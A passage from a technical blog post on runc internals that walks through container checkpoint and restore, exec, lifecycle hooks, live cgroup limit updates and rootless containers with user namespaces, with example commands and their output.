&lt;p&gt;This feature gives a really precise idea of what is going on with the process in terms of consumed resources in real time. This log can be really useful for forensics investigation.&lt;&#x2F;p&gt;
&lt;p&gt;By default &lt;em&gt;runc&lt;&#x2F;em&gt; outputs global information about each container upon creation in a file under  &lt;em&gt;&#x2F;var&#x2F;run&#x2F;runc&#x2F;state.json&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;checkpoint-a-container&quot;&gt;Checkpoint a container&lt;&#x2F;h3&gt;
&lt;p&gt;Checkpointing is another interesting feature of &lt;em&gt;runc&lt;&#x2F;em&gt;. It allows you to snapshot the current state of a container (in RAM) and save it as a set of files. This state includes open file descriptors, memory content (pages in RAM) registers, mount points, etc. The process can be later resumed from this saved state. This can be really useful when one wants to transport a container from one host to another without losing its internal state (live migration). This feature can also be useful to reverse the process to a stable state (debugging). &lt;em&gt;Runc&lt;&#x2F;em&gt; does the checkpointing with the help of the&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;criu.org&#x2F;Main_Page&quot;&gt;criu&lt;&#x2F;a&gt; software. However, the latter does not come out of the box with &lt;em&gt;runc&lt;&#x2F;em&gt; and has to be installed separately and added to  &lt;em&gt;&#x2F;usr&#x2F;local&#x2F;sbin&lt;&#x2F;em&gt; in order to work properly. To illustrate the checkpointing we are going to stop a printer process and resume it afterwards. The &lt;em&gt;config.json&lt;&#x2F;em&gt; file will contain this:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;quot;args&amp;quot;: [
    &amp;quot;&amp;#x2F;bin&amp;#x2F;sh&amp;quot;, &amp;quot;-c&amp;quot;, &amp;quot;i=0; while true; do echo $i;i=$(expr $i + 1); sleep 1; done&amp;quot;
        ],
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here we will demonstrate another way to run a container skipping the configuration phase (runc init). Let’s run it.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~$ sudo runc run -b bundle -d --console-socket $(pwd)&amp;#x2F;tty.sock container-printer

# in the recvtty shell
recvtty tty.sock
0
1
2
3
4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now let’s stop it.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~$ sudo runc checkpoint --image-path $(pwd)&amp;#x2F;image-checkpoint \
 container-printer
 # inspect what was produced by criu
cryptonite@host:~$ ls image-checkpoint
cgroup.img        fs-1.img            pagemap-176.img          tmpfs-dev-73.tar.gz.img
core-176.img      ids-176.img         pagemap-1.img            tmpfs-dev-74.tar.gz.img
core-1.img        ids-1.img           pages-1.img              tmpfs-dev-75.tar.gz.img
descriptors.json  inventory.img       pages-2.img              tmpfs-dev-76.tar.gz.img
fdinfo-2.img      ipcns-var-10.img    pstree.img               tmpfs-dev-86.tar.gz.img
fdinfo-3.img      mm-176.img          seccomp.img              tty-info.img
files.img         mm-1.img            tmpfs-dev-69.tar.gz.img  utsns-11.img
fs-176.img        mountpoints-12.img  tmpfs-dev-71.tar.gz.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;From the above snippet one can see that the checkpointing represents a set of files of the format &lt;strong&gt;img (CRIU image file v1.1)&lt;&#x2F;strong&gt; . The contents of these files are hardly readable and are a mix of binary and test content. Let’s now resume our printer process which at the time of stopping was at 84.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~$ sudo runc restore --detach --image-path $(pwd)&amp;#x2F;image-checkpoint \
-b bundle --console-socket $(pwd)&amp;#x2F;tty.sock container-printer-restore
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Let’s go back to the &lt;em&gt;recvtty&lt;&#x2F;em&gt; shell.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;recvtty tty.sock
85
86
87
88
89
90
91
92
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The process resumed at its previous state as if nothing had happened. We have spawned the exact same copy of the container (file descriptors, processes, etc.) but in the previous saved state (the state when the checkpoint was taken).&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Note&lt;&#x2F;strong&gt;: There is an interesting option –leave-running which doesn’t stop the process. Also, once a container is stopped it can&#x27;t be started again.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;executing-a-new-process-in-an-existing-container&quot;&gt;Executing a new process in an existing container&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;em&gt;Runc&lt;&#x2F;em&gt; offers the possibility to execute a new process inside a container. This translates as creating a new process and applying the same set of isolation mechanisms as another process hence putting them in the same “container”.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~$ sudo runc exec container-crypt0n1t3-restore  sleep 120

# in a new terminal
# by default runc allocates a pseudo tty and connects it with the exec terminal
cryptonite@host:~$ sudo runc list
ID                             PID         STATUS      BUNDLE     CREATED                          OWNER
container-crypt0n1t3           0           stopped     ~&amp;#x2F;bundle   2022-03-16T08:44:37.440444742Z   root
container-crypt0n1t3-restore   13712       running     ~&amp;#x2F;bundle   2022-03-16T10:24:03.925419212Z   root

cryptonite@host:~$ sudo runc ps container-crypt0n1t3-restore
UID          PID    PPID  C STIME TTY          TIME CMD
root       13712    2004  0 11:24 pts&amp;#x2F;0    00:00:00 &amp;#x2F;bin&amp;#x2F;sh
root       14405   14393  0 11:36 ?        00:00:00 sleep 120
# the sleep process is part of the crypt0n1t3-container
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Let’s see what is going on from the container’s point of view.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F; # ps aux
ps aux
PID   USER     TIME  COMMAND
    1 root      0:00 &amp;#x2F;bin&amp;#x2F;sh
   47 root      0:00 sleep 120
   53 root      0:00 ps aux
# the shell process sees the sleep process

# check the new process namespaces
&amp;#x2F; # ls &amp;#x2F;proc&amp;#x2F;47&amp;#x2F;ns -al
ls &amp;#x2F;proc&amp;#x2F;47&amp;#x2F;ns -al
total 0
dr-x--x--x    2 root     root             0 Mar 16 10:36 .
dr-xr-xr-x    9 root     root             0 Mar 16 10:36 ..
lrwxrwxrwx    1 root     root             0 Mar 16 10:36 cgroup -&amp;gt; cgroup:[4026531835]
lrwxrwxrwx    1 root     root             0 Mar 16 10:36 ipc -&amp;gt; ipc:[4026532667]
lrwxrwxrwx    1 root     root             0 Mar 16 10:36 mnt -&amp;gt; mnt:[4026532665]
lrwxrwxrwx    1 root     root             0 Mar 16 10:36 net -&amp;gt; net:[4026532670]
lrwxrwxrwx    1 root     root             0 Mar 16 10:36 pid -&amp;gt; pid:[4026532668]
lrwxrwxrwx    1 root     root             0 Mar 16 10:36 pid_for_children -&amp;gt; pid:[4026532668]
lrwxrwxrwx    1 root     root             0 Mar 16 10:36 time -&amp;gt; time:[4026531834]
lrwxrwxrwx    1 root     root             0 Mar 16 10:36 time_for_children -&amp;gt; time:[4026531834]
lrwxrwxrwx    1 root     root             0 Mar 16 10:36 user -&amp;gt; user:[4026531837]
lrwxrwxrwx    1 root     root             0 Mar 16 10:36 uts -&amp;gt; uts:[4026532666]
# check own namespaces
&amp;#x2F; # ls &amp;#x2F;proc&amp;#x2F;self&amp;#x2F;ns -al
ls &amp;#x2F;proc&amp;#x2F;self&amp;#x2F;ns -al
total 0
dr-x--x--x    2 root     root             0 Mar 16 10:35 .
dr-xr-xr-x    9 root     root             0 Mar 16 10:35 ..
lrwxrwxrwx    1 root     root             0 Mar 16 10:35 cgroup -&amp;gt; cgroup:[4026531835]
lrwxrwxrwx    1 root     root             0 Mar 16 10:35 ipc -&amp;gt; ipc:[4026532667]
lrwxrwxrwx    1 root     root             0 Mar 16 10:35 mnt -&amp;gt; mnt:[4026532665]
lrwxrwxrwx    1 root     root             0 Mar 16 10:35 net -&amp;gt; net:[4026532670]
lrwxrwxrwx    1 root     root             0 Mar 16 10:35 pid -&amp;gt; pid:[4026532668]
lrwxrwxrwx    1 root     root             0 Mar 16 10:35 pid_for_children -&amp;gt; pid:[4026532668]
lrwxrwxrwx    1 root     root             0 Mar 16 10:35 time -&amp;gt; time:[4026531834]
lrwxrwxrwx    1 root     root             0 Mar 16 10:35 time_for_children -&amp;gt; time:[4026531834]
lrwxrwxrwx    1 root     root             0 Mar 16 10:35 user -&amp;gt; user:[4026531837]
lrwxrwxrwx    1 root     root             0 Mar 16 10:35 uts -&amp;gt; uts:[4026532666]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The new container &lt;em&gt;sleep&lt;&#x2F;em&gt; process has indeed inherited the same namespaces as the shell process already inside the container. The same applies for other things such as capabilities, cwd, etc. These can be changed with the help of &lt;em&gt;runc&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;hooks&quot;&gt;Hooks&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;em&gt;Runc&lt;&#x2F;em&gt; allows you to execute commands in an order relative to a container lifecycle. This feature was developed to facilitate the setup and cleaning of a container environment. There exists several types of hooks which we’ll discuss separately.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;createruntime&quot;&gt;CreateRuntime&lt;&#x2F;h4&gt;
&lt;p&gt;The &lt;em&gt;CreateRuntime&lt;&#x2F;em&gt; hooks are called after the container environment has been created (&lt;em&gt;namespaces, cgroups, capabilities&lt;&#x2F;em&gt;). &lt;strong&gt;However, the process executing the hook is not enclosed in this environment&lt;&#x2F;strong&gt; hence it has access to all resources in the current context. The process is not &lt;em&gt;chrooted&lt;&#x2F;em&gt; and its current working directory is the &lt;em&gt;bundle&lt;&#x2F;em&gt;directory. The executable path is also resolved in the runtime namespace (&lt;em&gt;runc’s&lt;&#x2F;em&gt; set of namespaces). The &lt;em&gt;CreateRuntime&lt;&#x2F;em&gt; hooks are useful for initial container configuration (eg: configure the network namespace).&lt;&#x2F;p&gt;
&lt;h4 id=&quot;createcontainer&quot;&gt;CreateContainer&lt;&#x2F;h4&gt;
&lt;p&gt;The &lt;em&gt;CreateContainer&lt;&#x2F;em&gt; hooks are called after the &lt;em&gt;CreateRuntime&lt;&#x2F;em&gt; hooks. These hooks are executed in the container namespace (after nsenter) but the executable path is resolved in the runtime namespace. The process has entered the set of namespaces but it is not yet “chrooted”. However, its current working directory is the container rootfs directory.&lt;&#x2F;p&gt;
&lt;p&gt;This functionality of &lt;em&gt;runc&lt;&#x2F;em&gt; can be useful to report to the user the status of the environment configuration.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;startcontainer&quot;&gt;StartContainer&lt;&#x2F;h4&gt;
&lt;p&gt;The &lt;em&gt;StartContainer&lt;&#x2F;em&gt; hooks are called &lt;strong&gt;before the user-specified program&lt;&#x2F;strong&gt; is executed as part of the start operation. This hook can be used to add additional functionalities relative to the execution context (eg: load an additional library).&lt;&#x2F;p&gt;
&lt;p&gt;The hook executable path is resolved and it is executed in the container namespace.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;poststart&quot;&gt;PostStart&lt;&#x2F;h4&gt;
&lt;p&gt;The &lt;em&gt;Poststart&lt;&#x2F;em&gt; hooks are called &lt;strong&gt;after the user-specified process&lt;&#x2F;strong&gt; is executed but before the start operation returns. For example, this hook can notify the user that the container process is spawned.&lt;&#x2F;p&gt;
&lt;p&gt;The executable path resolves and it is executed in the runtime namespace.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;poststop&quot;&gt;PostStop&lt;&#x2F;h4&gt;
&lt;p&gt;The &lt;em&gt;PostStop&lt;&#x2F;em&gt; hooks are called after the container is deleted (or the process exits) but before the delete operation returns. Cleanup or debugging functions are examples of such a hook.&lt;&#x2F;p&gt;
&lt;p&gt;The executable path resolves and it is executed in the runtime namespace.&lt;&#x2F;p&gt;
&lt;p&gt;The syntax for defining hooks in the &lt;em&gt;config.json&lt;&#x2F;em&gt; is the following:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;quot;hooks&amp;quot;:{
        &amp;quot;createRuntime&amp;quot;: [
            {

                &amp;quot;path&amp;quot;: &amp;quot;&amp;#x2F;bin&amp;#x2F;bash&amp;quot;,
                &amp;quot;args&amp;quot;: [&amp;quot;&amp;#x2F;bin&amp;#x2F;bash&amp;quot;, &amp;quot;-c&amp;quot;, &amp;quot;..&amp;#x2F;scripts-hooks&amp;#x2F;runtimeCreate.sh&amp;quot;]
            }
        ],
        &amp;quot;createContainer&amp;quot;: [
            {

                &amp;quot;path&amp;quot;: &amp;quot;&amp;#x2F;bin&amp;#x2F;bash&amp;quot;,
                &amp;quot;args&amp;quot;: [&amp;quot;&amp;#x2F;bin&amp;#x2F;bash&amp;quot;, &amp;quot;-c&amp;quot;, &amp;quot;.&amp;#x2F;home&amp;#x2F;tmpfssc&amp;#x2F;containerCreate.sh&amp;quot;]

            }
        ],
        &amp;quot;poststart&amp;quot;: [
               {

                &amp;quot;path&amp;quot;: &amp;quot;&amp;#x2F;bin&amp;#x2F;bash&amp;quot;,
                &amp;quot;args&amp;quot;: [&amp;quot;&amp;#x2F;bin&amp;#x2F;bash&amp;quot;, &amp;quot;-c&amp;quot;, &amp;quot;..&amp;#x2F;scripts-hooks&amp;#x2F;postStart.sh&amp;quot;]

               }
        ],
        &amp;quot;startContainer&amp;quot;: [
                {

                &amp;quot;path&amp;quot;: &amp;quot;&amp;#x2F;bin&amp;#x2F;sh&amp;quot;,
                &amp;quot;args&amp;quot;: [&amp;quot;&amp;#x2F;bin&amp;#x2F;sh&amp;quot;, &amp;quot;-c&amp;quot;, &amp;quot;&amp;#x2F;home&amp;#x2F;tmpfssc&amp;#x2F;startContainer.sh&amp;quot;]

                }
        ],
        &amp;quot;poststop&amp;quot;: [
               {

                &amp;quot;path&amp;quot;: &amp;quot;&amp;#x2F;bin&amp;#x2F;bash&amp;quot;,
                &amp;quot;args&amp;quot;: [&amp;quot;&amp;#x2F;bin&amp;#x2F;bash&amp;quot;, &amp;quot;-c&amp;quot;,  &amp;quot;.&amp;#x2F;scripts-hooks&amp;#x2F;postStop.sh&amp;quot;]

               }
        ]
    },
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;A small &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mihailkirov&#x2F;runc-article&quot;&gt;POC&lt;&#x2F;a&gt; for the purpose of truly understanding this feature was developed. Here are the main elements of it:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;runtimeCreate.sh&lt;&#x2F;em&gt; - initializes the network namespace;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;containerCreate.sh&lt;&#x2F;em&gt; - tests the above configuration;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;postStop.sh&lt;&#x2F;em&gt; - runs an &lt;em&gt;http&lt;&#x2F;em&gt; server on the host after the initialization is completed;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;postStop.sh&lt;&#x2F;em&gt; - cleans up the network namespace and stops the &lt;em&gt;http&lt;&#x2F;em&gt; server.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Each of these scripts output information about their environment.&lt;&#x2F;p&gt;
&lt;p&gt;Information about the defined hooks of a running container can be found under  &lt;em&gt;&#x2F;run&#x2F;runc&#x2F;state.json&lt;&#x2F;em&gt; (customizable path with --root flag).&lt;&#x2F;p&gt;
&lt;h3 id=&quot;updating-container-resource-limit&quot;&gt;Updating container resource limit&lt;&#x2F;h3&gt;
&lt;p&gt;The runtime also allows to modify on the fly the resource limits in terms of cgroups. This can be really useful for scaling and improving performance but also for &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;engineering.linkedin.com&#x2F;blog&#x2F;2016&#x2F;08&#x2F;don_t-let-linux-control-groups-uncontrolled&quot;&gt;degradation of performances&#x2F;denial of service&lt;&#x2F;a&gt;of programs sharing or depending hierarchically on the set of cgroups of a current process. By default &lt;em&gt;runc&lt;&#x2F;em&gt; creates a sub-cgroup of the root one under  &lt;em&gt;&#x2F;sys&#x2F;fs&#x2F;cgroup&#x2F;user.slice&#x2F;&lt;&#x2F;em&gt; . For this paragraph we are going to run in the container the following program:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;quot;args&amp;quot;: [
    &amp;quot;&amp;#x2F;bin&amp;#x2F;sh&amp;quot;, &amp;quot;-c&amp;quot;, &amp;quot;i=0; while true; do echo $i;i=$(expr $i + 1); sleep 1; done&amp;quot;
    ],
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~ $runc update --help
...
 --blkio-weight value        Specifies per cgroup weight, range is from 10 to 1000 (default: 0)
   --cpu-period value          CPU CFS period to be used for hardcapping (in usecs). 0 to use system default
   --cpu-quota value           CPU CFS hardcap limit (in usecs). Allowed cpu time in a given period
   --cpu-share value           CPU shares (relative weight vs. other containers)
   --cpu-rt-period value       CPU realtime period to be used for hardcapping (in usecs). 0 to use system default
   --cpu-rt-runtime value      CPU realtime hardcap limit (in usecs). Allowed cpu time in a given period
   --cpuset-cpus value         CPU(s) to use
   --cpuset-mems value         Memory node(s) to use
   --memory value              Memory limit (in bytes)
   --memory-reservation value  Memory reservation or soft_limit (in bytes)
   --memory-swap value         Total memory usage (memory + swap); set &amp;#x27;-1&amp;#x27; to enable unlimited swap
   --pids-limit value          Maximum number of pids allowed in the container (default: 0)
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Let’s start a container and update its hardware limitations.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~ $sudo runc run -b bundle -d --console-socket $(pwd)&amp;#x2F;tty.sock container-spammer

# on the recvtty side
cryptonite@host:~ $recvtty tty.sock
0
1
2
3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now we will impose a new limit in terms of RAM consumption. This limit is relative to the &lt;em&gt;cgroup&lt;&#x2F;em&gt; memory group.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# after some adjustments to the process current memory usage
# define an upper bound to the RAM usage to 300kB
cryptonite@host:~ $sudo runc  update --memory 300000  container-spammer
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If we look in our virtual &lt;em&gt;tty&lt;&#x2F;em&gt;, the process suddenly freezes.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;...
73
74
75
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Let’s inspect further what happened.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~ $sudo runc list
ID                  PID         STATUS      BUNDLE     CREATED                    OWNER
container-spammer   0           stopped     ~&amp;#x2F;bundle   2022-03-17T10:05:16.623692849Z   root
# stopped?
cryptonite@host:~ $sudo tail  &amp;#x2F;var&amp;#x2F;log&amp;#x2F;kern.log
...
Mar 17 11:06:32 qb kernel: [ 3772.833645] oom-kill:constraint=CONSTRAINT_MEMCG,nodemask=(null),cpuset=container-spammer,mems_allowed=0,oom_memcg=&amp;#x2F;user.slice&amp;#x2F;user-1000.slice&amp;#x2F;user@1000.service&amp;#x2F;container-spammer,task_memcg=&amp;#x2F;user.slice&amp;#x2F;user-1000.slice&amp;#x2F;user@1000.service&amp;#x2F;container-spammer,task=sh,pid=13681,uid=0
Mar 17 11:06:32 qb kernel: [ 3772.833684] Memory cgroup out of memory: Killed process 13681 (sh) total-vm:1624kB, anon-rss:0kB, file-rss:880kB, shmem-rss:0kB, UID:0 pgtables:36kB oom_score_adj:0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;By updating the cgroup memory limit of the container we actually forced the Out Of Memory (OOM) killer of the kernel to intervene and kill the container process. An update of the CPU cgroup can also increase or decrease the performance of the container. &lt;em&gt;Cgroups&lt;&#x2F;em&gt; are a swiss army knife but a careful configuration is required.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;creating-rootless-container&quot;&gt;Creating rootless container&lt;&#x2F;h2&gt;
&lt;p&gt;Until now, all the manipulations we demonstrated were on container processes running as root on the host. But what happens if we want to harden the security and run the container processes with a UID different from zero? Separately, we would also like system users without root privileges to be able to run containers in a safe manner. In this article we refer to the term “rootless container” as a container which uses the user namespace. By default &lt;em&gt;runc&lt;&#x2F;em&gt; instantiates the container with the UID of the user triggering the command. The default OCI configuration is also generated without user namespace hence it relates to UID 0 on the host.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~ $runc create -b bundle --console-socket $(pwd)&amp;#x2F;tty.sock rootless-crypt0n1t3
ERRO[0000] rootless container requires user namespaces
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;If you go up to the default JSON configuration file you’ll notice that there is no user namespace. If you are familiar with our previous&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.quarkslab.com&#x2F;digging-into-linux-namespaces-part-2.html&quot;&gt;article&lt;&#x2F;a&gt;you will understand what is the problem and how to circumvent it. If you are not, here is a nice graphical representation resuming how user namespace works:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;runc-internals&#x2F;user-namespace-hierarchy.png&quot; alt=&quot;Hierarchy of user namespaces&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Runc&lt;&#x2F;em&gt; comes with a means to generate rootless configuration files.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~$ runc spec --rootless
# inspect what is different with the previous root config
cryptonite@host:~$ diff  config.json .&amp;#x2F;bundle&amp;#x2F;config.json
...
135,148c135,142
&amp;lt;       &amp;quot;uidMappings&amp;quot;: [
&amp;lt;           {
&amp;lt;               &amp;quot;containerID&amp;quot;: 0,
&amp;lt;               &amp;quot;hostID&amp;quot;: 1000,
&amp;lt;               &amp;quot;size&amp;quot;: 1
&amp;lt;           }
&amp;lt;       ],
&amp;lt;       &amp;quot;gidMappings&amp;quot;: [
&amp;lt;           {
&amp;lt;               &amp;quot;containerID&amp;quot;: 0,
&amp;lt;               &amp;quot;hostID&amp;quot;: 1000,
&amp;lt;               &amp;quot;size&amp;quot;: 1
&amp;lt;           }
&amp;lt;       ],
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can see that &lt;em&gt;runc&lt;&#x2F;em&gt; added two fields in the file indicating to whom to remap the user of the process inside the container. By default it maps it to the uid of the user running the command. Let’s now create a new container with the new runtime specification.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# first change the ownership of the bundle files
cryptonite@host:~$ sudo chown -R $(id -u) bundle
# overwrite the old specification
cryptonite@host:~$ mv config.json bundle&amp;#x2F;config.json
cryptonite@host:~$ runc create -b bundle --console-socket $(pwd)&amp;#x2F;tty.sock rootless-crypt0n1t3
# no error - yay; let&amp;#x27;s run it
cryptonite@host:~$ runc start rootless-crypt0n1t3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now we can move the &lt;em&gt;recvtty&lt;&#x2F;em&gt; terminal and inspect in detail what runc has created.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F; # id
id
uid=0(root) gid=0(root) groups=65534(nobody),65534(nobody),65534(nobody),65534(nobody),65534(nobody),65534(nobody),65534(nobody),65534(nobody),65534(nobody),0(root)
&amp;#x2F; # ls -al
ls -al
total 64
drwx------   19 root     root          4096 Jul 11  2019 .
drwx------   19 root     root          4096 Jul 11  2019 ..
drwxr-xr-x    2 root     root          4096 Jul 11  2019 bin
drwxr-xr-x    5 root     root           360 Mar 16 11:54 dev
drwxr-xr-x   15 root     root          4096 Jul 11  2019 etc
drwxr-xr-x    2 root     root          4096 Jul 11  2019 home
drwxr-xr-x    5 root     root          4096 Jul 11  2019 lib
drwxr-xr-x    5 root     root          4096 Jul 11  2019 media
drwxr-xr-x    2 root     root          4096 Jul 11  2019 mnt
drwxr-xr-x    2 root     root          4096 Jul 11  2019 opt
dr-xr-xr-x  389 nobody   nobody           0 Mar 16 11:54 proc
drwx------    2 root     root          4096 Mar 16 10:25 root
drwxr-xr-x    2 root     root          4096 Jul 11  2019 run
drwxr-xr-x    2 root     root          4096 Jul 11  2019 sbin
drwxr-xr-x    2 root     root          4096 Jul 11  2019 srv
dr-xr-xr-x   13 nobody   nobody           0 Mar 16 08:35 sys
drwxrwxr-x    2 root     root          4096 Jul 11  2019 tmp
drwxr-xr-x    7 root     root          4096 Jul 11  2019 usr
drwxr-xr-x   11 root     root          4096 Jul 11  2019 var
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This looks really familiar to the user namespace shown in the previous&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.quarkslab.com&#x2F;digging-into-linux-namespaces-part-2.html&quot;&gt;article&lt;&#x2F;a&gt;, right? Let’s check the namespaces and user ids from both “points of view”.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# check within the container
&amp;#x2F; # ls -al &amp;#x2F;proc&amp;#x2F;self&amp;#x2F;ns
ls -al &amp;#x2F;proc&amp;#x2F;self&amp;#x2F;ns
total 0
dr-x--x--x    2 root     root             0 Mar 16 11:59 .
dr-xr-xr-x    9 root     root             0 Mar 16 11:59 ..
lrwxrwxrwx    1 root     root             0 Mar 16 11:59 cgroup -&amp;gt; cgroup:[4026531835]
lrwxrwxrwx    1 root     root             0 Mar 16 11:59 ipc -&amp;gt; ipc:[4026532672]
lrwxrwxrwx    1 root     root             0 Mar 16 11:59 mnt -&amp;gt; mnt:[4026532669]
lrwxrwxrwx    1 root     root             0 Mar 16 11:59 net -&amp;gt; net:[4026532008]
lrwxrwxrwx    1 root     root             0 Mar 16 11:59 pid -&amp;gt; pid:[4026532673]
lrwxrwxrwx    1 root     root             0 Mar 16 11:59 pid_for_children -&amp;gt; pid:[4026532673]
lrwxrwxrwx    1 root     root             0 Mar 16 11:59 time -&amp;gt; time:[4026531834]
lrwxrwxrwx    1 root     root             0 Mar 16 11:59 time_for_children -&amp;gt; time:[4026531834]
lrwxrwxrwx    1 root     root             0 Mar 16 11:59 user -&amp;gt; user:[4026532663]
lrwxrwxrwx    1 root     root             0 Mar 16 11:59 uts -&amp;gt; uts:[4026532671]

# check from the root user namespace
cryptonite@host:~$ ls &amp;#x2F;proc&amp;#x2F;$$&amp;#x2F;ns -al
total 0
dr-x--x--x 2 cryptonite cryptonite 0 mars  16 13:02 .
dr-xr-xr-x 9 cryptonite cryptonite 0 mars  16 11:36 ..
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  16 13:02 cgroup -&amp;gt; &amp;#x27;cgroup:[4026531835]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  16 13:02 ipc -&amp;gt; &amp;#x27;ipc:[4026531839]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  16 13:02 mnt -&amp;gt; &amp;#x27;mnt:[4026531840]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  16 13:02 net -&amp;gt; &amp;#x27;net:[4026532008]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  16 13:02 pid -&amp;gt; &amp;#x27;pid:[4026531836]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  16 13:02 pid_for_children -&amp;gt; &amp;#x27;pid:[4026531836]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  16 13:02 time -&amp;gt; &amp;#x27;time:[4026531834]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  16 13:02 time_for_children -&amp;gt; &amp;#x27;time:[4026531834]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  16 13:02 user -&amp;gt; &amp;#x27;user:[4026531837]&amp;#x27;
lrwxrwxrwx 1 cryptonite cryptonite 0 mars  16 13:02 uts -&amp;gt; &amp;#x27;uts:[4026531838]&amp;#x27;

# check uid of the process in the container (owner field)
cryptonite@host:~$ runc list
ID                    PID         STATUS      BUNDLE                                                         CREATED                          OWNER
rootless-crypt0n1t3   19104       running     &amp;#x2F;home&amp;#x2F;cryptonite&amp;#x2F;docker-security&amp;#x2F;internals&amp;#x2F;playground&amp;#x2F;bundle   2022-03-16T11:54:10.930816557Z   cryptonite

# double check
cryptonite@host:~$ ps aux | grep 19104
crypton+   19104  0.0  0.0   1632  1124 ?        Ss+  12:54   0:00 sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can see that the classical user namespace definitions apply as expected. If you wish to learn about this interesting namespace, please refer to our previous &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.quarkslab.com&#x2F;digging-into-linux-namespaces-part-2.html&quot;&gt;article&lt;&#x2F;a&gt;. All of the manipulations described in the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.quarkslab.com&#x2F;digging-into-runtimes-runc.html#creating-root-container&quot;&gt;root containers&lt;&#x2F;a&gt; part apply to the rootless containers. The main and most important difference is that system-wide operations are performed with a non-privileged UID hence less security risk on the host system.&lt;&#x2F;p&gt;
